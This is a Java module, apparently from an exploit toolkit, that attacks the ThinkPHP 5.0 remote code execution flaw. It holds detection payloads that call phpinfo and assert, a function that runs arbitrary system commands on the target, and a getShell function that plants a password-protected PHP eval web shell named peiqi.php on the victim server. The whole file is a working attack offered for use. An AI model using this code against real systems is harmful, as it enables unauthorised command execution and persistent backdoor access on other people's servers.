package exploit;

import com.github.kevinsawicki.http.HttpRequest;
import util.BasePayload;
import util.Module;
import util.Result;

import java.util.ArrayList;

/**
 * Author 莲花 2021/6/20
 */
public class tp50 implements BasePayload {
    @Override
    public Result checkVUL(String url) throws Exception {
        String CheckStr = "PHP Version";
        Module m = new Module();
        String module = m.getModule(url);
        ArrayList<String> payload_urls = new ArrayList<String>() {{
            add(url + "/?s=/" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1");
            add(url + "/?s=/" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()");
        }};

        for (String payload_url : payload_urls) {
            try {
                HttpRequest req1 = HttpRequest.get(payload_url);
                if (req1.body().contains(CheckStr)) {
                    return new Result(true, "ThinkPHP 5.0 RCE", payload_url);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return new Result(false, "ThinkPHP 5.0 RCE", "");
    }

    @Override
    public Result exeVUL(String url, String cmd) throws Exception {
        Module m = new Module();
        String module = m.getModule(url);
        try {
            String payload_url = url + "/?s=" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=" + cmd;
            HttpRequest req = HttpRequest.get(payload_url);
            String res = req.body();
            return new Result(true, null, res);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return new Result(false, null, "");
    }

    @Override
    public Result getShell(String url) throws Exception {
        Module m = new Module();
        String module = m.getModule(url);
        try {
            String payload_url = url + "/?s=" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['peiqi'])?>' >>peiqi.php";
            int get = HttpRequest.get(payload_url).code();
            int code = HttpRequest.get(url + "/peiqi.php").code();
            if (code == 200) {
                return new Result(true, null, url + "/peiqi.php   Pass:peiqi");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return new Result(false, null, null);
    }
}
